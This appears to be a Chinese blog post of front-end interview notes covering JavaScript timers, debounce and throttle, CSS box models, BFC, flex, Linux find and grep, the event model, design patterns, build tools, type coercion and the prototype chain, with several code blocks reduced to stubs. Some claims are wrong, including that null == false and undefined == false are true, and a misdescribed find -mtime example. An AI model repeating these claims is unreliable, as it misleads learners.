常见的前端算法题
见:前端算法集合
Event Loop
任务分为:同步任务、异步任务
异步任务分为:宏任务、微任务
算法的时间与空间复杂度
常用的时间复杂度(从上只下越来越复杂):
- 常数阶 O(1)
- 对数阶 O(logN)
- 线性阶 O(n)
- 线性对数阶 O(n * logN)
- 平方阶 O(n^2)
- 立方阶 O(n^3)
- k次方阶 O(n^k)
- 指数阶 O(2^n)
常用的空间复杂度:
- 常数阶 O(1)
- 线性阶 O(n)
- 平方阶 o(n^2)
SetTimeout的时间什么不准
js是单线程,先执行同步主线程,再执行异步任务队列。主线程的耗时会影响setTimeout的执行时间。它表述的是一个最小延迟时间,而非精准时间。1
2
3setTimeout(() => {
// xxx
}, 0)
根据HTML5的规范,定时器被多次嵌套后,最小为4毫秒。
另外,setTimeout 本身也可以通过递归实现 setInterval 的功能,setTimeout 和 setInterval 都有可能出现丢帧现象,原因时步调和 requestAnimationFrame 的步调不一致,requestAnimationFrame 是按照屏幕刷新率来进行更新的,一旦两者时间错开,则肯能出现丢帧现象。
函数防抖和函数节流
函数节流和函数防抖,两者都是优化高频率执行js代码的一种手段。
函数防抖 debounce
函数防抖 是指当持续触发事件时,一定时间段内没有再触发事件,事件处理函数才会执行一次,如果设定的时间到来之前,又一次触发了事件,就重新开始延时。比如生活中的坐公交,就是一定时间内,如果有人陆续刷卡上车,司机就不会开车。只有别人没刷卡了,司机才开车。
如下例,持续触发scroll事件时,并不执行handle函数,当1000毫秒内没有触发scroll事件时,才会延时触发scroll事件。
1 | function debounce(fn, delay) { |
运行结果如下:
函数节流 throttle
函数节流 是指当持续触发事件时,保证一定时间段内只调用一次事件处理函数。通俗解释就比如我们水龙头放水,阀门一打开,水哗哗的往下流,秉着勤俭节约的优良传统美德,我们要把水龙头关小点,最好是如我们心意按照一定规律在某个时间间隔内一滴一滴的往下滴。
如下例,持续触发scroll事件时,并不立即执行handle函数,每隔1000毫秒才会执行一次handle函数。
定时器方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18var throttle = function(fn, wait) {
var timer = null;
return function() {
// var context = this;
// var args = arguments;
if (!timer) {
timer = setTimeout(function() {
fn();
// fn.apply(context, args);
timer = null;
}, wait);
}
}
}
function handle() {
console.log(Math.random());
}
window.addEventListener('scroll', throttle(handle, 1000));时间戳方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17var throttle = function(fn, wait) {
var prev = Date.now();
return function() {
// var context = this;
// var args = arguments;
var now = Date.now();
if (now - prev >= wait) {
fn();
// fn.apply(context, args);
prev = Date.now();
}
}
}
function handle() {
console.log(Math.random());
}
window.addEventListener('scroll', throttle(handle, 1000));
运行结果如下:
IE盒模型和标准盒模型
IE盒模型
IE 盒模型包括 margin
、border
、padding
、content
,width 包含了 content
、border
和 pading
,即使用 border
、padding
不会撑大 width。
标准(W3C)盒模型
W3C 盒子模型包括 margin
、border
、padding
、content
,width 不包含 border
和 pading
,即使用 border
、padding
会撑大 width。
例如,一个元素的样式如下:1
2
3
4
5
6
7div{
margin: 20px;
border: 10px;
padding: 5px;
width: 200px;
height: 50px;
}
则 W3C 盒模型下:
盒模型占用的宽度为:20*2 + 10*2 + 5*2 + 200 = 270px;
盒子实际宽度为:10*2 + 5*2 + 200 = 230px;
IE 盒模型下:
盒模型占用的宽度为:20*2 + 200 = 240px;
盒子实际宽度为:200px;
实际开发过程中,我们经常会使用 box-sizing
来改变盒模型,常见的有:1
2
3
4
5
6div{
box-sizing: content-box; /* 默认W3C盒模型,width只极算content */
/* 实际开发过程中会经常使用下面这种 */
box-sizing: border-box; /* 使用IE盒模型,width计算到border,这种模式下先固定宽度,然后padding和border不会对元素产生影响 */
}
css 实现响应式的九宫格布局
1 | <div class="main"> |
使用百分比实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27* {
padding: 0; margin: 0;
box-sizing: border-box; /* 重要 */
}
.main {
background-color: #fff;
outline: 1px solid #00;
width: 100%;
overflow: hidden;
padding: 0 100px; /* 左右各间距100px */
}
.main>div {
width: 33.33%;
/* padding设置百分比时,是根据父级的宽度来计算的 */
padding: 16.67% 0;
background-color: #E78326;
border-radius: 3%;
float: left;
/* 浮动自动换行,也可以给main设置flex替代 */
border: 1px solid #000;
/* 内部div增加居中的文字 */
height: 0;
display: flex;
justify-content: center;
align-items: center;
}
使用 vw + calc 实现(兼容性不佳):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19*{
margin: 0;
padding: 0;
box-sizing: border-box;
}
.main{
width: 100%;
padding: 0 150px;
overflow: hidden;
}
.main>div{
width: calc((100vw - 300px) / 3);
height: calc((100vw - 300px) / 3);
border: 1px solid #f00;
float: left;
display: flex;
justify-content: center;
align-items: center;
}
BFC
BFC概念
BFC(Block formatting context)直译为“块级格式化上下文”,只有块级的盒子参与,内部规定了块级盒子如何布局。
BFC是一个独立的布局环境,其中的元素布局是不受外界的影响。
display属性为block、table、list-item的元素默认会产生BFC。也可以手动创建,如果将一个div(默认为块级元素,即本身拥有BFC)设置为inline-block,会产生一个新的BFC。
如何创建BFC
- float属性不为none
- position属性为absolute或fixed
- display为inline-block、flex、inline-flex、table-cell
- overflow不为visible
BFC布局特性
- 在BFC中,盒子从顶端开始垂直往下排列
- 盒子垂直方向的间距由margin决定,属于同一个BFC的两个相邻的盒子margin会发生重叠
- 在BFC中,每一个盒子的左外边缘(
margin-left
)会触碰到容器的左内边缘(padding-left
) - BFC的区域不会与浮动盒子产生交集,而是紧贴浮动边缘
- 在计算BFC的高度时,也会检测浮动或定位的盒子高度
BFC的作用
清除浮动
只要把父元素设置为BFC,就可以清除子元素的浮动了,如:常使用overflow:hidden
1
2
3<div>
<p>1</p>
</div>1
2
3
4
5
6div{}
p {
width: 200px;
line-height: 100px;
text-align: center;
}我们可以给div设置以下这些样式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16div{
/*推荐第一种*/
overflow: hidden;
overflow: auto;
display: flex;
/* 可以解决p的浮动问题,但同时增加了div自己的浮动问题 */
float: left;
/* 可以解决p的浮动问题,但是同时让div没有宽度,只是被p给撑起来了 */
display: inline-block;
display: table-cell;
display: inline-flex;
position: absolute;
position: fixed;
}解决外边距合并问题
只要创建不属于同一个BFC,外边距就不会发生合并,如:1
2<p>1</p>
<p class="p2">2</p>1
2
3
4
5
6
7p {
width: 200px;
line-height: 100px;
text-align: center;
background-color: #f00;
margin: 30px;
}有两个p(块级元素,本身拥有同一个BFC),都设置
marign
时,默认p1的marign-bottom
和p2的margin-top
会发生合并,只表现出一个30px的间距。
如何解决呢?可以让p2产生一个新的BFC,只要不p1、p2不属于同一个BFC,margin
就不会发生合并。1
2
3
4
5
6
7.p2{
float: left;
display: inline-block;
display: inline-flex;
position: absolute;
position: fixed;
}以上这些属性都可以直接作用于某个盒子本身,然后产生一个新的BFC。当然也可以有更多的办法:
1
2
3
4<p>1</p>
<div>
<p>2</p>
</div>使用div包裹p2,然后给div这个父级设置样式,这个时候就有了更多的选择,任选一种即可。
1
2
3
4
5
6
7
8
9
10
11
12div{
float: left;
display: inline-block;
display: inline-flex;
position: absolute;
position: fixed;
/* 除了上面这些,还可添加这些作用于父级的样式 */
overflow: hidden;
overflow: auto;
display: flex;
display: table-cell;
}自适应两列布局
根据特性3: 每一个盒子的左外边缘(marigin)会触碰容器的左内边缘(border-left),即使是浮动元素。1
2<div class="left">LEFT</div>
<div class="right">RIGHT</div>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20body{
border: 5px solid #f00;
}
.left {
width: 100px;
height: 150px;
float: left;
background: #0f0;
text-align: center;
line-height: 150px;
font-size: 20px;
margin: 5px;
}
.right {
height: 300px;
background: #00f;
text-align: center;
line-height: 300px;
font-size: 40px;
}从下图可以看出:left的margin-left外边缘(蓝色margin 5px左侧)和父级容器(body)的padding-left(红色border 5px内侧)内边相触碰。
再根据特性4:BFC的区域不会与浮动盒子产生交集,而是紧贴浮动边缘。
让right单独成一个BFC,添加样式:1
2
3.right{
overflow: hidden;
}这样就实现两列布局了,并且right布局可以自适应
flex布局
- flex-grow: 定义项目的放大比例
- 定义项目的放大比例,默认为0,即如果存在剩余空间,也不放大。
- 如果所有项目的 flex-grow 属性都为1,则它们将等分剩余空间(如果有的话)。
- 如果一个项目的 flex-grow 属性为2,其他项目都为1,则前者占据的剩余空间将比其他项多一倍。
- 如果只有一个项目设置 flex-grow 大于0,即该项目占满剩余空间。通常使用该特性来实行两列或三列自适应布局。
1 | <div class="parent"> |
1 | .parent { |
- flex-shrink: 定义了项目的缩小比例
- 定义项目的缩小比例,默认为1,即如果空间不足,该项目将等比缩小(作用类似于所有的项目设置flex-grow: 1)。
- 如果所有项目的 flex-shrink 属性都为1,当空间不足时,都将等比例缩小。
- 如果所有项目的 flex-shrink 属性都为0,当空间不足时,不缩小,自动超出。
- 如果一个项目的 flex-shrink 属性为0,其他项目都为1,当空间不足时,前者(flex-shrink: 0)不缩小。
1 | <div class="parent"> |
1 | .parent { |
- flex-basis: 定义了在分配多余空间之前,项目占据的主轴空间
- 表示在item被放入flex容器之前的大小,也就是item的理想或者假设大小,但是并不是其真实大小,其真实大小取决于flex容器的宽度。
- 类似width
flex: flex-grow, flex-shrink 和 flex-basis的简写
案例
1 | <div> |
linux 查找文件的命令
find
基本格式:find path expression
- 按照文件名查找
find / -name httpd.conf
#在根目录下查找文件httpd.conf,表示在整个硬盘查找find /etc -name httpd.conf
#在/etc目录下文件httpd.conffind /etc -name '*srm*'
#使用通配符*(0或者任意多个)。表示在/etc目录下查找文件名中含有字符串‘srm’的文件find . -name 'srm*'
#表示当前目录下查找文件名开头是字符串‘srm’的文件
- 按照文件特征查找
find / -amin -10
# 查找在系统中最后10分钟访问的文件(access time)find / -atime -2
# 查找在系统中最后48小时访问的文件find / -empty
# 查找在系统中为空的文件或者文件夹find / -group cat
# 查找在系统中属于 group为cat的文件find / -mmin -5
# 查找在系统中最后5分钟里修改过的文件(modify time)find / -mtime -1
#查找在系统中最后24小时里修改过的文件find / -user fred
#查找在系统中属于fred这个用户的文件find / -size +10000c
#查找出大于10000000字节的文件(c:字节,w:双字,k:KB,M:MB,G:GB)find / -size -1000k
#查找出小于1000KB的文件
- 使用混合查找方式查找文件
find /tmp -size +10000c -and -mtime +2
#在/tmp目录下查找大于10000字节并在最后2分钟内修改的文件find / -user fred -or -user george
#在/目录下查找用户是fred或者george的文件文件find /tmp ! -user panda
#在/tmp目录中查找所有不属于panda用户的文件
grep
基本格式:find expression
- 主要参数
[options]主要参数:
-c:只输出匹配行的计数。
-i:不区分大小写
-h:查询多文件时不显示文件名。
-l:查询多文件时只输出包含匹配字符的文件名。
-n:显示匹配行及行号。
-s:不显示不存在或无匹配文本的错误信息。
-v:显示不包含匹配文本的所有行。
pattern正则表达式主要参数:
\: 忽略正则表达式中特殊字符的原有含义。
^:匹配正则表达式的开始行。
$: 匹配正则表达式的结束行。
\<:从匹配正则表达 式的行开始。
>:到匹配正则表达式的行结束。
[ ]:单个字符,如[A]即A符合要求 。
[ - ]:范围,如[A-Z],即A、B、C一直到Z都符合要求 。
.:所有的单个字符。
- :有字符,长度可以为0。
- 实例
grep 'test' d*
#显示所有以d开头的文件中包含 test的行grep ‘test’ aa bb cc
#显示在aa,bb,cc文件中包含test的行grep ‘[a-z]\{5\}’ aa
#显示所有包含每行字符串至少有5个连续小写字符的字符串的行grep magic /usr/src
#显示/usr/src目录下的文件(不含子目录)包含magic的行grep -r magic /usr/src
#显示/usr/src目录下的文件(包含子目录)包含magic的行grep -w pattern files
#只匹配整个单词,而不是字符串的一部分(如匹配’magic’,而不是’magical’),
css伪类和伪元素的区别
伪类
伪类 用于选择DOM树上元素不同的状态,或者是DOM上无法用简单选择器选择的元素
状态伪类
状态伪类 是基于元素当前状态进行选择的1
2:link :hover :active :visited
:focus :disabled :enable :checked结构伪类
结构性伪类 是css3新增选择器,利用dom树进行元素过滤,通过文档结构的互相关系来匹配元素,能够减少class和id属性的定义,使文档结构更简洁。1
2:first-child :last-child :nth-child(n) :nth-last-child()
:empty
伪元素
伪元素 是对元素中的特定内容进行操作,而不是描述状态。(css3中使用::)1
::first-letter ::first-line ::before ::after ::selection
注意事项
在css3中,为了一个规范,我们使用 :
表示伪类,::
表示伪元素,但是在css2中定义的伪元素,用来 :
和 ::
都是可以的。如 :before
和 ::before
作用是一样的
伪元素的用途
清除浮动
1
2
3
4
5
6/* 父级 */
.clear:after {
content: '';
display: block;
clear: both;
}画中间带文字的分割线
1
2
3
4
5
6
7.spliter::before, .spliter::after {
content: '';
display: inline-block;
border-top: 1px solid black;
width: 200px;
margin: 5px;
}形变的布局(上下、左右不一样)
原理同2增大点击热区
1
2
3
4
5
6
7
8.btn::before {
content: "";
position: absolute;
top: -10px;
right: -10px;
bottom: -10px;
left: -10px;
}
伪元素的本质是在不增加dom结构的基础上添加的一个元素,在用法上跟真正的dom无本质区别。普通元素能实现的效果,伪元素都可以。有些用伪元素效果更好,代码更精简。
script defer 和 async
无defer和async
当没有 defer
和 async
的时候,js会按照顺序来渲染和执行,如:1
2
3
4
5
6
7<html>
<head></head>
<body>
<script src="a.js"></script>
<p>1234</p>
</body>
</html>
a.js:1
debugger
在 debugger
执行的时候,页面还未渲染 p
段落。
有defer
defer
属性标注的脚本是 延迟脚本,使得浏览器延迟脚本的执行,也就是说,脚本会被 异步下载 但是不会被执行,直到文档的载入和解析完成,并可以操作,脚本才会被执行。
延迟脚本 会按他们在文档里的出现顺序执行
有async
async
属性标注的脚本是 异步脚本,即异步下载脚本时,不会阻塞文档解析,但是一旦下载完后,立即执行,阻塞文档解析。
异步脚本 在它们载入后执行,但是不能保证执行顺序。
图例
绿色线 代表 HTML
解析,蓝色线 代表网络读取 JS
,红色线 代表 JS
执行时间。
静态(词法)作用域语言 和 动态作用域语言
- 静态作用域语言:指变量的作用域是在代码编译阶段确定的,又称之为词法作用域。
JavaScript
是静态作用域。 - 动态作用域语言:指变量作用域是在代码执行阶段确定的。
理解 JavaScript
静态作用域的关键在于理解变量的作用域是由使用该变量的源代码位置确定,而不是由调用该变量时候的位置确定。
如下:1
2
3
4
5
6
7
8
9var v = "out";
function outside() {
var v = "in";
return inside();
}
function inside() {
return v;
}
outside();
比较1
2
3
4
5
6
7
8
9var v = "out";
function outside() {
var v = "in";
function inside() {
return v;
}
return inside();
}
outside();
第一段代码的执行结果是”out”,而第二段代码的执行结果是”in”。
js事件模型
一个事件的发生包含三个过程:
- 事件捕获阶段
事件捕获:当某个元素触发事件,顶层对象document就会发出一个事件流,随着DOM树的节点向目标元素流去。直到到达目标元素,在这个过程中,事件相应的监听函数是不会被触发的。 - 事件目标阶段
当到达目标元素后,执行目标元素相应的事件处理函数,如果没有绑定事件处理函数,则不触发。 - 事件冒泡阶段
从目标元素开始,向顶层元素开始冒泡。途中如果有节点绑定了相应的处理函数,则会被触发。
所有的事件类型都会经历捕获,但只有部分事件会经历事件冒泡,如submit事件就不会被冒泡。
如何阻止冒泡:
W3C: e.stopPropagation()
IE: e.cancelBubble = true
标准的事件监听器如何绑定:1
2target.addEventListener(type, listener[, options]);
target.addEventListener(type, listener[, useCapture]);
第三个参数可以设置为boolean类型(useCapture)或者object类型(options)
useCapture:指定是否在捕获阶段进行处理,默认为false,表示在冒泡阶段处理,为true表示在捕获阶段处理。
options: 包含三个布尔值
1). capture,是否使用事件捕获,同useCapture
2). once,是否只调用一次,会在调用后自动销毁(无需手动removeListener),默认值false
3). passive,如果为true,表示listener永远不会调用preventDefault()方法
例:1
2
3
4
5<div class="div1">
<div class="div2">
<button class="btn">点击</button>
</div>
</div>
1 | var div1 = document.querySelector('.div1') |
先后顺序是怎样的呢?
在js中,分为两个处理方法,捕获和冒泡。
如果是捕获(从外到内):div1、div2、btn,第三个参数设置为true
如果是冒泡(从内到外):btn、div2、div1,第三个参数设置为false(默认)
addEventListener
和 removeEventListener
是否一定要成双成对出现?
当DOM元素与事件拥有不同的生命周期时,如果不调用remove,可能会造成内存泄漏(增加了不必要的内存占用)。比如在单页应用中,切换了页面,组件虽然被销毁,但是注册在document上的事件却被保留了下来,白白占用了内存空间。所以成对出现,是最佳实践。
js设计模式
创建型: 工厂模式
1 | // 工厂模式:创建对象时不会对客户端暴露创建逻辑,通过使用一个通用的接口来指向新创建的对象,用工厂方法代替new |
创建型: 单例模式
1 | // 单例模式:一个类只能被实例化一次,提供一个访问类的全局访问点 |
创建型: 原型模式
1 | // 原型模式:使用现有的对象来提供新创建新的对象的__proto__,Object.create() |
行为型: 迭代器模式/遍历器模式
1 | // 迭代器模式: 提供一种方法顺序的访问一个聚合对象中的各个元素 |
行为型: 观察者模式
1 | // 观察者模式: 定义对象间的一对多关系,当一个对象的状态发生改变时,所有依赖于它的对象都将得到通知 |
行为型: 订阅发布模式
1 | // 订阅发布模式: 订阅者(Subscriber)把事件注册(Subscribe)到调度中心,当发布者(Publisher)发布该事件到调度中心,也就是触发事件时,由调度中心统一调度。 |
gulp和grunt的不同
相信小伙伴们不仅听说过 Gulp
和 webpack
,还听说过 Grunt
。一般都觉得他们都是打包工具,但其实还是有区别的 。更准确的讲,Grunt
和 Gulp
属于任务流工具Tast Runner
, 而 webpack属于模块打包工具 Bundler
Tast Runner
Grunt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15// Gruntfile.js
module.exports = function(grunt) {
grunt.initConfig({
// js格式检查任务
jshint: {
src: 'src/test.js'
}
// 代码压缩打包任务
uglify: {}
});
// 导入任务插件
grunt.loadnpmTasks('grunt-contrib-uglify');
// 注册自定义任务, 如果有多个任务可以添加到数组中
grunt.regusterTask('default', ['jshint'])
}Gulp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21// gulpfile.js
var gulp = require('gulp');
var jshint = require('gulp-jshint');
var uglify = require('gulp-uglify');
// 代码检查任务 gulp 采取了pipe 方法,用流的方法直接往下传递
gulp.task('lint', function() {
return gulp.src('src/test.js')
.pipe(jshint())
.pipe(jshint.reporter('default'));
});
// 压缩代码任务
gulp.task('compress', function() {
return gulp.src('src/test.js')
.pipe(uglify())
.pipe(gulp.dest('build'));
});
// 将代码检查和压缩组合,新建一个任务
gulp.task('default', ['lint', 'compress']);
Bundler
browserify
browserify
是早期的模块打包工具,是先驱者,踏实的浏览器端使用CommonJS
规范(require--module.export
)的格式组织代码成为可能。在这之前,因为CommonJS
与浏览器特性的不兼容问题,更多使用的是AMD
(defined--require
)规范,当然后来又发展了ES6模块规范(require--export
)
假设有如下模块add.js 和 文件test.js,test.js 使用CommonJS规范导入了模块add.js1
2
3
4
5
6
7
8// add.js
module.exports = function(a, b) {
return a + b
};
// test.js
var add = require('./add.js');
console.log(add(1, 2)); // 3我们知道,如果直接执行是执行不成功的,因为浏览器无法识别
CommonJS
语法,而browserify
就是用来处理这个问题的,他将CommonJS
语法进行装换,在命令行执行功如下:1
browserify test.js > bundle.js
生成的bundle.js就是已经处理完毕,可供浏览器执行使用的文件,只需要将它插入到
<script>
中即可。
webpack
webpack
是后起之秀,它支持了AMD
和CommonJS
类型,通过loader
机制也可以使用ES6模块格式。还有强大的code splitting
。webpack
是个十分强大的工具,它正在想一个全能型的构建工具发展。
webpack
通过配置文件webpack.config.js
进行功能配置,一个配置案例如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const path = require('path')
const webpack = require('webpack')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const merge = require('webpack-merge')
const utils = require('./utils')
var config = {
// 入口
entry: {
app: './src/main.js'
},
// 出口
output: {
path: config.build.assetsRoot,
filename: '[name].js',
publicPath: process.env.NODE_ENV === 'production'
? config.build.assetsPublicPath
: config.dev.assetsPublicPath
},
// 加载器配置(需要加载器转化的模块类型)
module: {
rules: [
{
test: '/\.css$/',
use: [ 'style-loader', 'css-loader' ]
}
]
}
// 插件
plugins: [
new webpack.DefinePlugin({
'process.env': require('../config/dev.env')
}),
new webpack.HotModuleReplacementPlugin(),
new HtmlWebpackPlugin({
filename: 'index.html',
template: 'index.html',
inject: true
}),
]
}
module.exports = config一个相对比较全面的配置主要包含五个部分: 入口,出口,加载器,插件,模式。分别指定了开始读取文件的位置,编译后输出文件的路径,ES6语法转化加载器,更复杂功能的插件以及指定执行的环境变量。
- 区别
gulp
和grunt
是流管理工具,通过一个个task配置执行用户需要的功能,如格式检验,代码压缩等,值得一提的是,经过这两者处理的代码只是局部变量名被替换简化,整体并没有发生改变,还是你的代码。
而 webpack
则进行了更彻底的打包处理,更加偏向对模块语法规则进行转换。主要任务是突破浏览器的鸿沟,将原本浏览器不能识别的规范和各种各样的静态文件进行分析,压缩,合并,打包,最后生成浏览器支持的代码,因此,webapck
打包过后的代码已经不是你写的代码了,或许你再去看,已经看不懂啦!
JavaScript的数据类型(按存储方式区分):
五种基本数据类型(值类型):
Null
、Undefined
、Boolean
、String
、Number
,是不可拆分的数据类型,存在于栈中。1
2
3
4var a = 100;
var b = a;
b = 200;
console.log(a); // 100一种复杂数据类型(引用类型):统称
Object
,包括Object
、Array
、Function
、Date
、RegExp
、String
、Boolean
、Error
和自定义类,也就是通常意义上所说的类,存在于堆中,引用类型会共用存储空间。1
2
3
4var a = {age: 18};
var b = a;
b.age = 20;
console.log(a.age); // 20ES6新增一种Symbol类型
值不唯一,通常用作对象的“键”值或私有属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16Symbol() // Symbol()
typeof Symbol() // 'symbol'
Symbol() === Symbol() // false
// 为了做区分,可设置一个参数作为描述
Symbol('ZhangSan') === Symbol('LiSi') // false
// 属性
Symbol().description // undefined
Symbol('ZhangSan').description // ZhangSan
// 方法:
Symbol().toString() // "Symbol()"
String(Symbol()) // "Symbol()"
Boolean(Symbol()) // true
Number(Symbol()) // TypeError: Cannot convert a Symbol value to a number设置对象Symbol属性的方法,同样适用于普通对象:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17const sys = Symbol()
// 第一种
let a = {}
a[sys] = 'Hello, Symbol'
// 第二种
let b = {
[sys]: 'Hello, Symbol'
}
// 第三种
let c = {}
Object.defineProperty(c, sys, { value: 'Hello, Symbol' })
console.log(a[sys], b[sys], c[sys]) // 都输出:'Hello, Symbol'
// 注意:不用使用a.sys来获取值,因为点运算符后面总是字符串例如,一个班级下有很多学生,数据结构如下:
1
2
3
4
5
6
7
8
9const classRoom = {
'Lily': [1, 18, 'BeiJing'], // id、age、address
'Mary': [2, 19, 'ShangHai'],
'Lily': [3, 20, 'TianJin']
}
/*
Lily: (3) [3, 20, "TianJin"]
Mary: (3) [2, 19, "ShangHai"]
*/输出时发现后面的Lily把前面的覆盖了,这个时候我们可以使用Symbol来改写
1
2
3
4
5
6
7
8
9
10const classRoom = {
[Symbol('Lily')]: [1, 18, 'BeiJing'], // id、age、address
[Symbol('Mary')]: [2, 19, 'ShangHai'],
[Symbol('Lily')]: [3, 20, 'TianJin']
}
/*
Symbol(Lily): (3) [1, 18, "BeiJing"]
Symbol(Mary): (3) [2, 19, "ShangHai"]
Symbol(Lily): (3) [3, 20, "TianJin"]
*/以
Symbol
作为键值创建的对象是不可遍历的,没有for
、for...in
、for...of
等方法,也不会被Object.keys()
、Object.getOwnPropertyNames()
、JSON.stringify()
返回。但是,它也不是私有属性,有一个
Object.getOwnPropertySymbols()
方法,可以获取指定对象的所有Symbol
属性名。该方法返回一个数组,成员是当前对象的所有用作属性名的Symbol
值。以上面的classRoom为例:
1
2
3
4
5
6
7
8
9
10
11
12const sysArr = Object.getOwnPropertySymbols(classRoom)
console.log(sysArr)
// [Symbol(Lily), Symbol(Mary), Symbol(Lily)]
const classRoomArr = sysArr.map(sys => classRoom[sys])
console.log(classRoomArr)
/*
输出一个二维码数组
0: (3) [1, 18, "BeiJing"]
1: (3) [2, 19, "ShangHai"]
2: (3) [3, 20, "TianJin"]
*/
JavaScript三大对象
本地对象,如
Object
、Array
、Function
、Date
、RegExp
、String
、Boolean
、Error
- 这些引用类型在运行过程中需要通过
new
来创建所需的实例对象。
- 这些引用类型在运行过程中需要通过
内置对象,如
Global
、Math
、(JSON
)- 在 ECMAScript 程序开始执行前就存在,本身就是实例化内置对象,开发者无需再去实例化。
- 内置对象是本地对象的子集。
宿主对象
- 对于嵌入到网页中的JS来说,其宿主对象就是浏览器提供的对象,浏览器对象有很多,如
Window
和Document
等。 - 所有的
DOM
和BOM
对象都属于宿主对象。
- 对于嵌入到网页中的JS来说,其宿主对象就是浏览器提供的对象,浏览器对象有很多,如
强制(显式)类型转换和隐式类型转换
强制(显式)类型转换
调用方法
- 转换成字符串 toString
- 转换成数字 parseInt、parseFloat
调用构造函数
- Number()
- Boolean()
- String()
隐式类型转换
不同类型的变量比较要先转类型,叫做类型转换,类型转换也叫隐式转换。
隐式转换通常发生在运算符加减乘除,等于,还有小于,大于等。
四则运算
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
271 + '2' = 12; // 数字会先转换成字符串
6 / '2' = 3;
'6' / 2 = 3;
2 - '1' = 1; // 字符串会先转换成数字
'2' - 1 = 1;
2 * '3' = 6;
1 + true = 2;
1 + false = 1;
1 + undefined = NaN;
1 + null = 1;
10 && 0; // 0
'' || 'abc'; // abc
!window.abc; // true
undefined == null; // true
null == false; // true
undefined == false; // true
'0' == 0; // true
0 == false; // true
'0' == false; // true
// 拓展:判断一个变量会被当做 true 还是 false
var a = 100;
console.log(!!a);判断语句
if
语句其中的判断条件会进行类型的转换1
2
3if (some) {}
// 等效于
if (Boolean(some)) {}
原型链
创建对象的几种方式
1、字面量法
1
var o1 = {name: 'o1'};
2、构造函数法(构造函数首字母大写)
1
2
3
4
5
6
7
8var o2 = new Object({name: 'o2'});
var M = function (name) {
this.name = name;
// return this // 默认有这一行
};
var o3 = new M('o3'); // 实例
3、Object.create()法
1
var o4 = Object.create({name: 'o4'});
以上的运行结果如下:
我们看到o3和o4的运行结果有些不一样,o3前面的M表示构造函数,o4却不显示属性
但是运行o4.name
发现其实是有值的,具体原因参考:leijee blog
1其实是2的一个语法糖,如果要创建一个空对象
1
2
3
4var o1 = {};
var o2 = new Object();
var o3 = Object.create({});
var o4 = Object.create(null);
只有o4是没有 __proto__
属性的,它没有继承 Object.prototype 原型链上的属性或者方法,例如:toString()
, hasOwnProperty()
等方法
构造函数扩展
var arr = []
其实是var a = new Array()
的语法糖;var obj = {}
其实是var a = new Object()
的语法糖;function Foo(){}
其实是var Foo = new Function(){}
的语法糖;
即 arr 的构造函数是 Array
, obj 的构造函数是 Object
,Foo 的构造函数是 Function
。
原型规则
规则1:所有的引用类型(数组、对象、函数),都具有对象特性,可自由扩展属性(null 除外)
1
2
3
4
5
6
7
8var obj = {};
obj.a = 100; // {a: 100}
var arr = [];
arr.a = 100; // [a: 100]
function fn(){};
fn.a = 100;规则2:所有的引用类型(数组、对象、函数),都有一个
__proto__
(隐式原型) 属性,属性值是一个普通的对象1
2
3console.log(obj.__proto__);
console.log(arr.__proto__);
console.log(fn.__proto__);结果如下图:
规则3:所有的函数,都有一个
prototype
(显示原型) 属性,属性值是一个普通的对象1
console.log(fn.prototype); // {constructor: ƒ}
规则4:所有的引用类型(数组、对象、函数),
__proto__
(隐式属性) 属性值指向它的构造函数的prototype
(显示原型) 属性值1
2
3console.log(obj.__proto__ === Object.prototype); // true
console.log(arr.__proto__ === Array.prototype); // true
console.log(fn.__proto__ === Function.prototype); // true规则5:当试图得到一个对象的某个属性时,如果这个对象本身没有这个属性,那么会去它的
__proto__
(即它的构造函数的prototype
)中去寻找,如果一层没有找到,就继续往上查找,一直到Object.prototype
为止。因为Object.prototype
等于null
会自动停止。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37// 构造函数
function Foo(name, age) {
this.name = name;
}
// 扩展属性(规则1)
Foo.prototype.alertName = function () {
alert(this.name);
};
// 创建一个实例f
var f = new Foo('zhangsan');
// 扩展属性(规则1)
f.printName = function () {
console.log(this.name);
};
// 测试
f.printName();
f.alertName(); // (规则5)
// f本身没有 alertName 属性,它会去它自身的隐式原型 即f.__proto__ (也即是它的构造函数的显示原型 Foo.prototype)中去寻找这个属性
f.toString(); // (规则5)
// f本身没有 toString 属性,它会去它自身的隐式原型 即f.__proto__ (也即是它的构造函数的显示原型 Foo.prototype)中去寻找这个属性
// 但是 Foo.prototype 中并没有找到这个属性,但是因为 Foo.prototype 本身也是一个对象,所以会继续向上寻找。
// 即f.__proto__.__proto__(也即是Foo.prototype.__proto__,也即是Foo.prototype 的构造函数Object.prototype中查找)
// 最终发现了toString
f.abc();
// 直到Object.prototype.__proto__ = null,也没有找到abc属性,即停止。
f.__proto__ === Foo.prototype; // true
f.__proto__.__proto__ === Foo.prototype.__proto__; // true
Foo.prototype.__proto__ === Object.prototype; // true
f.__proto__.__proto__ === Object.prototype; // true
循环对象自身的属性
对于上例,循环f自身的属性:1
2
3
4
5
6
7
8for (let item in f) {
if (f.hasOwnProperty(item)) {
console.log(item);
}
}
// name
// printName
instanceof
1 | f instanceof Foo; // f是否是Foo的一个实例 |
构造函数、原型对象、实例、原型链关系网
关系网如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15var M = function (name) {
this.name = name;
}; // 构造函数
var o3 = new M('o3'); // 实例o3
var o4 = new M('o4'); // 实例o4
// M: 是一个构造函数,任何普通函数在使用new运算符之后都变成构造函数
// o3、o4: 实例
// M.prototype: 原型对象
// M.prototype.constructor: 原型对象的构造器,M.prototype.constructor === M
